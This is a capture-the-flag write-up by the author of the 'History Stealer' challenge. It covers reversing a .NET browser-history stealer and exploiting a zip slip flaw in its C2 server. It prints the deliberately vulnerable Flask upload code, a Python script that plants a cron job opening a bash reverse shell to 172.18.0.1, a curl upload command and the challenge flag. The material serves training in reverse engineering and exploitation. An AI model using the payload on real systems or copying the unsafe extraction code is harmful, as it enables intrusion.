History Stealer | CyberSci June 15th 2025 | CTF Solution

Thumbnail


This year, I had the opportunity to contribute to several Capture the Flag (CTF) events, including iHack (May 2025), CyberSci (June 2025), and the upcoming HackFest (October 2025).

These events allowed me to connect virtually with some of Canada’s most respected cybersecurity professionals and community leaders, such as Max White, Patrick Mathieu, Dmitriy Beryoza, and Tom L. Hapirat.

For iHack, I developed the "C2 Lingo" challenge, and for CyberSci, I created "History Stealer." Both challenges centered around malware development, reverse engineering, and adversarial simulation techniques.

I built History Stealer on short notice, so the code wasn't as polished as I would have liked but the concept remains close to my heart. Malware development is something I view almost spiritually; it's like scripture to me.

If you're into this kind of work, I highly recommend participating in the upcoming HackFest 2025 event. I’ll be dropping a host of malware-themed challenges there, it’s going to be intense.

Now, let’s dive into the History Stealer challenge.

 

Overview

Before diving into vulnerability research, I spent quite a bit of time writing malware for R&D purposes, strictly for science, of course, as one does. During that phase, I noticed a pattern of common mistakes made by small-time threat actors when crafting malware. So naturally, I decided to turn those observations into a CTF challenge.

History Stealer is a straightforward challenge that focuses on reverse engineering and a classic zip slip vulnerability.

The goal is to give players a sense of how a data stealer might be built to exfiltrate browser history from Chrome and Internet Explorer. It also walks through the basics of how a builder for such a stealer might work and how to reverse engineer the compiled binary.

If you're curious or just want to judge my rushed code, the full source is available here:

https://github.com/0xHamy/0xhamy-cybersci-2025

 

Challenge description 

The following description was given to players:

An election candidate's computer has been hacked with malware, the malware's task is to steal browser history files from Chrome & Internet Explorer and then compress them into a zip and upload them to a C2.

The incident response team have captured the executable binary that was used for data stealing.

Can you find the C2 server & hijack it?

The executable binary found on the candidate's computer is here:

Executable_download_link_here

 

The goal

The objective of this challenge is to analyze how the executable was compiled. In this case, the binary was built using a .NET compiler. .NET applications are notoriously easy to decompile, especially when no obfuscation is used, which happens to be the case here.

As the defender, your mission is to reverse engineer the malware, uncover the command-and-control (C2) hostname, and eventually find a way to gain shell access via the attacker's own C2 infrastructure. Your role casually shifts between blue team and red team, one minute you're analyzing malware like a responsible adult, the next you're hijacking a C2 server like it's just another Tuesday.

 

More than just one solution

Most CTFs are designed with a single, rigid solution path, the one the challenge author envisioned. Real-world attacks? Not so much. In this challenge, there are at least four distinct ways to understand how the binary operates:

  1. Use a .NET decompiler to decompile the application & understand how it works - this is basic reverse engineering
  2. Run the binary in a controlled Windows machine and intercept networks traffics via Wireshark to understand how it communicates with the C2
  3. Extract strings from the binary, you can easily extract the URL because it was obfuscated with base64
  4. Figure out how file upload works through pure blackbox testing, what type of file is expected and how you can exploit it to gain shell

The C2 interface includes a login page that requires a 4-digit PIN. You could brute-force all 9,999 possibilities and get in, though there’s not much waiting for you on the other side. However, if you did manage to get a shell through the builder, let me know. I owe you a $10 coffee for the effort. I added the login page so that you can understand how the malware builder works. 

 

Zip slip vulnerability

According to Snyk, Zip Slip is a form of directory traversal that can be exploited by extracting files from an archive. 

The premise of the directory traversal vulnerability is that an attacker can gain access to parts of the file system outside of the target folder in which they should reside. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine. The vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited on both client (user) machines and servers. 

The vulnerability arises from the following code:

@app.route("/file_upload", methods=["GET", "POST"])
def file_upload():
    if request.method == "GET":
        print("GET request to /file_upload")
        return {
            "error": "Method not allowed",
        }, 405

    # POST request
    errors = []
    if "file" not in request.files or "computer_name" not in request.form:
        print("Error: Missing file or computer_name")
        return {"error": "Missing archive or name."}, 400

    file = request.files["file"]
    computer_name = re.sub(r'[^\w-]', '_', request.form["computer_name"])
    print(f"Received upload request for computer: {computer_name}")

    if file.filename == "":
        print("Error: No file selected")
        return {"error": "No file selected."}, 400

    if file and file.filename.endswith(".zip"):
        zip_filename = f"{computer_name}.zip"
        zip_path = os.path.join(UPLOAD_FOLDER, zip_filename)
        print(f"Saving ZIP to {zip_path}")
        file.save(zip_path)
        print(f"Saved ZIP: {zip_path}")

        unzip_path = os.path.join(UNZIPPED_FOLDER, computer_name)
        print(f"Creating target directory {unzip_path}")
        os.makedirs(unzip_path, exist_ok=True)

        print("Extracting ZIP (vulnerable to Zip Slip)…")
        with zipfile.ZipFile(zip_path, "r") as zip_ref:
            for member in zip_ref.infolist():
                raw_name = member.filename

                # 1) Skip directory entries entirely
                if member.is_dir() or raw_name.endswith("/"):
                    continue

                # 2) Compute destination path 
                if raw_name.startswith("/") or ".." in raw_name:
                    dest_path = os.path.normpath(os.path.join("/", raw_name))
                else:
                    dest_path = os.path.join(unzip_path, raw_name)

                # 3) Ensure parent directories exist
                parent_dir = os.path.dirname(dest_path)
                if parent_dir:
                    os.makedirs(parent_dir, exist_ok=True)

                # 4) Write file bytes
                with zip_ref.open(member) as src, open(dest_path, "wb") as dst:
                    shutil.copyfileobj(src, dst)

                print(f"Wrote {raw_name!r} : {dest_path!r}")

        print("Finished extraction (with Zip Slip).")
        return {"status": "success", "computer_name": computer_name}, 200

    print("Error: Invalid file type")
    return {"error": "Invalid file type."}, 400

Here is an explanation of the key vulnerable component:

In this code, the ZIP file is extracted without properly validating or sanitizing the file paths in the archive. Specifically, the code checks for .. or absolute paths but fails to restrict the extraction to the intended unzip_path directory. By using os.path.normpath and allowing paths like ../../etc/passwd, an attacker could overwrite existing files. 

The culprit here isn't just this code but also the fact that the attacker is running the C2 web app as root so file_upload is writing to directory as root. The root user has permission over /etc/cron.d/crontab_job which can be used for creating a scheduled task that runs every 1 minute to get a reverse shell. 

 

Exploitation

The following code can be used for creating a malicious zip file with the goal of overwriting crontab_job file:

import zipfile

# Content for the malicious cronjob
cron_content = '* * * * * root /bin/bash -c bash -i >& /dev/tcp/172.18.0.1/6000 0>&1"\n'

# Path inside the ZIP to trigger Zip Slip
zip_internal_path = '../../../etc/cron.d/crontab_job'

# Create the ZIP file
with zipfile.ZipFile('shell.zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
    zipf.writestr(zip_internal_path, cron_content)

print("Created zip with reverse shell cronjob at", zip_internal_path)

Here is how to upload it to the C2:

curl -X POST -F "[email protected]" -F "computer_name=shell" http://172.19.0.1:5000/file_upload

 

Flag

You can obtain the flag from /root/flag.txt:

FLAG{7Ha7_wa5_n07_57a73_5P0N50r3d_Ap7_8u7_1_AM}

 

Unintended solution

Some people have been able to capture the flag without going through the intended RCE path. Apparently, there was an arbitrary file read in the stealer builder page. 

 

Things you probably learned

There’s a lot to take away from this challenge, especially if you’re a budding threat actor (which, for legal reasons, I strongly advise against. Don’t do crimes, boys).

Defenders likely picked up some useful skills too, like reverse engineering .NET binaries and tracking malware communication back to its command-and-control (C2) infrastructure.

If you’re a red teamer or just kicking off your Computer Network Exploitation career at some alphabet-soup agency, this challenge probably taught you what not to do. Real legends don’t write their malware in C#. Let’s be honest, C# is great for learning, with plenty of libraries and quick prototyping, but it’s hardly the language of choice for serious, stay-off-the-radar operations. Unless your goal is to get caught... in which case, proceed.

That said, congrats to everyone who solved the challenge. Nicely done.

See you at HackFest.

 


Posted on: June 17, 2025 11:27 PM